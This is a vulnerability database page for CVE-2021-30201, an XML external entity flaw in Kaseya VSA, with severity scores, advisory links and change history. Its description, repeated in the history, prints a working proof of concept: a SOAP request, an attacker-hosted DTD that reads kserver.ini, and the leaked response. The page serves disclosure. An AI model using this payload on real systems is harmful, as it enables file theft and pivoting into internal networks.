7.5
HIGH
CVE-2021-30201
Kaseya KaseyaWS External XML Entity Injection Vulnerability
Description

The API /vsaWS/KaseyaWS.asmx can be used to submit XML to the system. When this XML is processed (external) entities are insecurely processed and fetched by the system and returned to the attacker. Detailed description Given the following request: ``` POST /vsaWS/KaseyaWS.asmx HTTP/1.1 Content-Type: text/xml;charset=UTF-8 Host: 192.168.1.194:18081 Content-Length: 406 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:kas="KaseyaWS"> <soapenv:Header/> <soapenv:Body> <kas:PrimitiveResetPassword> <!--type: string--> <kas:XmlRequest><![CDATA[<!DOCTYPE data SYSTEM "http://192.168.1.170:8080/oob.dtd"><data>&send;</data>]]> </kas:XmlRequest> </kas:PrimitiveResetPassword> </soapenv:Body> </soapenv:Envelope> ``` And the following XML file hosted at http://192.168.1.170/oob.dtd: ``` <!ENTITY % file SYSTEM "file://c:\\kaseya\\kserver\\kserver.ini"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; ``` The server will fetch this XML file and process it, it will read the file c:\\kaseya\\kserver\\kserver.ini and returns the content in the server response like below. Response: ``` HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Type: text/xml; charset=utf-8 Date: Fri, 02 Apr 2021 10:07:38 GMT Strict-Transport-Security: max-age=63072000; includeSubDomains Connection: close Content-Length: 2677 <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><soap:Fault><faultcode>soap:Server</faultcode><faultstring>Server was unable to process request. ---&gt; There is an error in XML document (24, -1000).\r\n\r\nSystem.Xml.XmlException: Fragment identifier '######################################################################## # This is the configuration file for the KServer. # Place it in the same directory as the KServer executable # A blank line or new valid section header [] terminates each section. # Comment lines start with ; or # ######################################################################## <snip> ``` Security issues discovered --- * The API insecurely resolves external XML entities * The API has an overly verbose error response Impact --- Using this vulnerability an attacker can read any file on the server the webserver process can read. Additionally, it can be used to perform HTTP(s) requests into the local network and thus use the Kaseya system to pivot into the local network.

INFO

Published Date :

July 9, 2021, 2:15 p.m.

Last Modified :

April 29, 2022, 6:14 p.m.

Remotely Exploitable :

Yes !

Impact Score :

3.6

Exploitability Score :

3.9
Affected Products

The following products are affected by CVE-2021-30201 vulnerability. Even if cvefeed.io is aware of the exact versions of the products that are affected, the information is not represented in the table below.

ID Vendor Product Action
1 Kaseya vsa
References to Advisories, Solutions, and Tools

Here, you will find a curated list of external links that provide in-depth information, practical solutions, and valuable tools related to CVE-2021-30201.

URL Resource
https://csirt.divd.nl/2021/07/07/Kaseya-Limited-Disclosure/ Patch Third Party Advisory
https://csirt.divd.nl/CVE-2021-30201 Exploit Third Party Advisory
https://csirt.divd.nl/DIVD-2021-00011 Patch Third Party Advisory
https://helpdesk.kaseya.com/hc/en-gb/articles/360019966738-9-5-6-Feature-Release-8-May-2021 Release Notes Vendor Advisory

We scan GitHub repositories to detect new proof-of-concept exploits. Following list is a collection of public exploits and proof-of-concepts, which have been published on GitHub (sorted by the most recently updated).

Results are limited to the first 15 repositories due to potential performance issues.

The following list is the news that have been mention CVE-2021-30201 vulnerability anywhere in the article.

The following table lists the changes that have been made to the CVE-2021-30201 vulnerability over time.

Vulnerability history details can be useful for understanding the evolution of a vulnerability, and for identifying the most recent changes that may impact the vulnerability's severity, exploitability, or other characteristics.

  • CVE Modified by [email protected]

    May. 14, 2024

    Action Type Old Value New Value
  • Modified Analysis by [email protected]

    Apr. 29, 2022

    Action Type Old Value New Value
    Removed CVSS V2 NIST (AV:N/AC:L/Au:S/C:P/I:N/A:N)
    Added CVSS V2 NIST (AV:N/AC:L/Au:N/C:P/I:N/A:N)
    Removed CVSS V3.1 NIST AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    Added CVSS V3.1 NIST AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    Changed Reference Type https://csirt.divd.nl/2021/07/07/Kaseya-Limited-Disclosure/ Third Party Advisory https://csirt.divd.nl/2021/07/07/Kaseya-Limited-Disclosure/ Patch, Third Party Advisory
    Changed Reference Type https://csirt.divd.nl/CVE-2021-30201 Third Party Advisory https://csirt.divd.nl/CVE-2021-30201 Exploit, Third Party Advisory
    Changed Reference Type https://csirt.divd.nl/DIVD-2021-00011 Third Party Advisory https://csirt.divd.nl/DIVD-2021-00011 Patch, Third Party Advisory
  • CVE Modified by [email protected]

    Apr. 04, 2022

    Action Type Old Value New Value
    Changed Description An XML External Entity (XXE) issue exists in Kaseya VSA before 9.5.6. The API /vsaWS/KaseyaWS.asmx can be used to submit XML to the system. When this XML is processed (external) entities are insecurely processed and fetched by the system and returned to the attacker. Detailed description Given the following request: ``` POST /vsaWS/KaseyaWS.asmx HTTP/1.1 Content-Type: text/xml;charset=UTF-8 Host: 192.168.1.194:18081 Content-Length: 406 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:kas="KaseyaWS"> <soapenv:Header/> <soapenv:Body> <kas:PrimitiveResetPassword> <!--type: string--> <kas:XmlRequest><![CDATA[<!DOCTYPE data SYSTEM "http://192.168.1.170:8080/oob.dtd"><data>&send;</data>]]> </kas:XmlRequest> </kas:PrimitiveResetPassword> </soapenv:Body> </soapenv:Envelope> ``` And the following XML file hosted at http://192.168.1.170/oob.dtd: ``` <!ENTITY % file SYSTEM "file://c:\\kaseya\\kserver\\kserver.ini"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; ``` The server will fetch this XML file and process it, it will read the file c:\\kaseya\\kserver\\kserver.ini and returns the content in the server response like below. Response: ``` HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Type: text/xml; charset=utf-8 Date: Fri, 02 Apr 2021 10:07:38 GMT Strict-Transport-Security: max-age=63072000; includeSubDomains Connection: close Content-Length: 2677 <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><soap:Fault><faultcode>soap:Server</faultcode><faultstring>Server was unable to process request. ---&gt; There is an error in XML document (24, -1000).\r\n\r\nSystem.Xml.XmlException: Fragment identifier '######################################################################## # This is the configuration file for the KServer. # Place it in the same directory as the KServer executable # A blank line or new valid section header [] terminates each section. # Comment lines start with ; or # ######################################################################## <snip> ``` Security issues discovered --- * The API insecurely resolves external XML entities * The API has an overly verbose error response Impact --- Using this vulnerability an attacker can read any file on the server the webserver process can read. Additionally, it can be used to perform HTTP(s) requests into the local network and thus use the Kaseya system to pivot into the local network.
  • Modified Analysis by [email protected]

    Mar. 01, 2022

    Action Type Old Value New Value
    Removed CVSS V2 NIST (AV:N/AC:L/Au:S/C:P/I:P/A:P)
    Added CVSS V2 NIST (AV:N/AC:L/Au:S/C:P/I:N/A:N)
    Removed CVSS V3.1 NIST AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    Added CVSS V3.1 NIST AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    Changed Reference Type https://csirt.divd.nl/CVE-2021-30201 No Types Assigned https://csirt.divd.nl/CVE-2021-30201 Third Party Advisory
    Changed Reference Type https://csirt.divd.nl/DIVD-2021-00011 No Types Assigned https://csirt.divd.nl/DIVD-2021-00011 Third Party Advisory
    Changed Reference Type https://helpdesk.kaseya.com/hc/en-gb/articles/360019966738-9-5-6-Feature-Release-8-May-2021 No Types Assigned https://helpdesk.kaseya.com/hc/en-gb/articles/360019966738-9-5-6-Feature-Release-8-May-2021 Release Notes, Vendor Advisory
  • CVE Modified by [email protected]

    Feb. 07, 2022

    Action Type Old Value New Value
    Added CVSS V3.1 MITRE AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    Added Reference https://helpdesk.kaseya.com/hc/en-gb/articles/360019966738-9-5-6-Feature-Release-8-May-2021 [No Types Assigned]
    Added Reference https://csirt.divd.nl/CVE-2021-30201 [No Types Assigned]
    Added Reference https://csirt.divd.nl/DIVD-2021-00011 [No Types Assigned]
  • Initial Analysis by [email protected]

    Jul. 12, 2021

    Action Type Old Value New Value
    Added CVSS V2 NIST (AV:N/AC:L/Au:S/C:P/I:P/A:P)
    Added CVSS V3.1 NIST AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    Changed Reference Type https://csirt.divd.nl/2021/07/07/Kaseya-Limited-Disclosure/ No Types Assigned https://csirt.divd.nl/2021/07/07/Kaseya-Limited-Disclosure/ Third Party Advisory
    Added CWE NIST CWE-611
    Added CPE Configuration OR *cpe:2.3:a:kaseya:vsa:*:*:*:*:-:*:*:* versions up to (excluding) 9.5.6
EPSS is a daily estimate of the probability of exploitation activity being observed over the next 30 days. Following chart shows the EPSS score history of the vulnerability.
CWE - Common Weakness Enumeration

While CVE identifies specific instances of vulnerabilities, CWE categorizes the common flaws or weaknesses that can lead to vulnerabilities. CVE-2021-30201 is associated with the following CWEs:

Common Attack Pattern Enumeration and Classification (CAPEC)

Common Attack Pattern Enumeration and Classification (CAPEC) stores attack patterns, which are descriptions of the common attributes and approaches employed by adversaries to exploit the CVE-2021-30201 weaknesses.

Exploit Prediction

EPSS is a daily estimate of the probability of exploitation activity being observed over the next 30 days.

0.18 }} 0.02%

score

0.54634

percentile

CVSS31 - Vulnerability Scoring System
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